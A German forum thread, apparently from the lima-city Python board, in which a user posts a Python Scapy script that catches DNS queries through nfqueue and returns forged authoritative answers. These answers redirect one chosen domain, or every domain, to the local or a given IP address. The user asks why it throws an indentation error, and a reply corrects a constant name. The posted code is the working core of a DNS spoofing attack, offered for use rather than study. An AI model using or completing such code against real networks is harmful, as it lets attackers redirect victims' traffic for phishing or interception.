kostenloser Webspace werbefrei: lima-city


Python Scapy DNS

lima-cityForumProgrammiersprachenPython

  1. Autor dieses Themas

    b**********m

    Hi ich habe ein Problem mit Python und Scapy. In der Fehlermeldung steht nur ein intend error.. Vielleicht sieht hier jemand einen Fehler ich kann ihn leider nicht genau finden.

    def spoofed_pkt(payload, pkt, rIP):
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                        UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                        DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                        an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=rIP))
        payload.set_verdict_modified(nfqueue.ACCEPT, str(spoofed_pkt), len(spoofed_pkt))
        print '[info] dns req nach %s' % pkt[DNSQR].qname[:-1]


    Eventuell ist auch hier irgendein Fehler unterlaufen :S Ist aber nur eine Vermutung.

    def callback(payload):
        data = payload.get_data()
        pkt = IP(data)
        localIP = [x[4] for x in scapy.all.conf.route.routes if x[2] != '0.0.0.0'][0]
        if not pkt.haslayer(DNSQR):
            payload.set_verdict(nfqueue.ACCEPT)
        else:
            if arg_parser().spoofall:
                if not arg_parser().redirectto:
                    spoofed_pkt(payload, pkt, localIP)
                else:
                    spoofed_pkt(payload, pkt, arg_parser().redirectto)
            if arg_parser().domain:
                if arg_parser().domain in pkt[DNS].qd.qname:
                    if not arg_parser().redirectto:
                        spoofed_pkt(payload, pkt, localIP)
                    else:
                        spoofed_pkt(payload, pkt, arg_parser().redirectto)


    Ich will hier nicht zu sehr darauf eingehen, was das Script macht jeder der den Fehler erkennt, erkennt auch den Zweck des Scripts. LG und danke schonmal
  2. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

  3. Statt
    nfqueue.ACCEPT

    sollte es
    nfqueue.NF_ACCEPT

    sein. mfg

    Beitrag zuletzt geändert: 6.11.2015 19:28:51 von zarat
  4. Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!

    lima-city: Gratis werbefreier Webspace für deine eigene Homepage

Dir gefällt dieses Thema?

Über lima-city

Login zum Webhosting ohne Werbung!